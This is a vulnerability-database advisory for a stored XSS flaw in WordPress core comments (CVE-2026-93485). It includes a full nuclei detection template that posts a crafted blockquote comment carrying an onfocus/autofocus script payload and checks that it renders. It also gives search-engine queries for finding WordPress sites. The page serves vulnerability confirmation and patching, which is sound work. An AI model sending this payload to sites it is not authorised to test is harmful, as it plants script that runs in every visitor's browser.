HexBrain

Browse / CVEs / CVE-2026-93485

CVE-2026-93485· wordpress / wordpress· CWE-79

WordPress Core < 7.1.1 - Unauthenticated Stored XSS via Comment (Comment2Shell)

highseverity
7.1CVSS score
0.8%likelihood of exploitation, next 30 days
56%of all CVEs are less likely
Readycheck to confirm it

WordPress core before 7.1.1 is vulnerable to unauthenticated stored XSS via crafted blockquote comments. wp_kses_post accepts a <blockquote> with a literal newline in the cite attribute, wpautop's non-quote-aware regex injects a <p> inside the cite value, and wptexturize leaves the attribute open so onfocus/autofocus land on <code> as real HTML attributes, giving zero-click stored XSS. Only triggers when comments are open and auto-approved.

Impact

An unauthenticated attacker can store JavaScript in WordPress comments that executes automatically (zero-click) in every visitor's browser on affected pages.

Fix

Update WordPress to 7.1.1 or a backport release (7.0.5+, 6.9.8+, 6.8.9+, down to 4.7.36+), which makes wpautop's blockquote regex quote-aware.

How to confirm it

Send: GET /wp-json/wp/v2/posts?per_page=20&_fields=id,comment_status&orderby=date&order=desc
Positive when: contains "\"comment_status\":\"open\"" AND status 200
Send: POST /wp-comments-post.php
Positive when: status 302
Send: GET /?p={{post_id}}
Positive when: matches /<blockquote[^>]*cite="[^"]*<p>/ AND contains "{{marker}}" AND status 200

Run it with nuclei: nuclei -id CVE-2026-93485 -u <target>

The full check
id: CVE-2026-93485

info:
  name: WordPress Core < 7.1.1 - Unauthenticated Stored XSS via Comment (Comment2Shell)
  author: DhiyaneshDk
  severity: high
  description: |
    WordPress core before 7.1.1 is vulnerable to unauthenticated stored XSS via crafted blockquote comments. wp_kses_post accepts a <blockquote> with a literal newline in the cite attribute, wpautop's non-quote-aware regex injects a <p> inside the cite value, and wptexturize leaves the attribute open so onfocus/autofocus land on <code> as real HTML attributes, giving zero-click stored XSS. Only triggers when comments are open and auto-approved.
  impact: |
    An unauthenticated attacker can store JavaScript in WordPress comments that executes automatically (zero-click) in every visitor's browser on affected pages.
  remediation: |
    Update WordPress to 7.1.1 or a backport release (7.0.5+, 6.9.8+, 6.8.9+, down to 4.7.36+), which makes wpautop's blockquote regex quote-aware.
  reference:
    - https://wordpress.org/news/2026/09/wordpress-7-1-1-maintenance-and-security-release/
    - https://github.com/686f6c61/POC-WP-CORE-CVE-2026-93485
    - https://github.com/DeathShotXD/Comment2Shell
    - https://www.cve.org/CVERecord?id=CVE-2026-93485
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
    cvss-score: 7.1
    cve-id: CVE-2026-93485
    epss-score: 0.0076
    epss-percentile: 0.55616
    cwe-id: CWE-79
  metadata:
    verified: true
    max-request: 3
    vendor: wordpress
    product: wordpress
    framework: wordpress
    fofa-query: body="wp-content" && body="wp-json"
    shodan-query: http.html:"wp-json" http.html:"WordPress"
    google-query: inurl:"/wp-json/wp/v2/"
  tags: cve,cve2026,wordpress,xss,stored-xss,comment2shell,unauthenticated,intrusive,vkev

variables:
  marker: "{{randstr}}"

flow: http(1) && http(2) && http(3)

http:
  - raw:
      - |
        GET /wp-json/wp/v2/posts?per_page=20&_fields=id,comment_status&orderby=date&order=desc HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"comment_status":"open"'
        internal: true

      - type: status
        status:
          - 200
        internal: true

    extractors:
      # pick the first post that actually accepts comments, not just the newest
      - type: json
        name: post_id
        part: body
        json:
          - '[.[] | select(.comment_status=="open")][0].id'
        internal: true

  - raw:
      - |
        POST /wp-comments-post.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Referer: {{RootURL}}/?p={{post_id}}
        Connection: close

        comment=%3Cblockquote+cite%3D%22a%0Ab%22%3E%3Ccode%3Ex%22+onfocus%3Dalert%28document.domain%29+autofocus+tabindex%3D0%3C%2Fcode%3E%3C%2Fblockquote%3E+{{marker}}&author=nuclei-xss-test&email=test%40example.com&url=&comment_post_ID={{post_id}}&comment_parent=0

    matchers:
      - type: status
        status:
          - 302
        internal: true

  - raw:
      - |
        GET /?p={{post_id}} HTTP/1.1
        Host: {{Hostname}}
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
        Connection: close

    redirects: true
    max-redirects: 2

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - '<blockquote[^>]*cite="[^"]*<p>'

      - type: word
        part: body
        words:
          - "{{marker}}"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from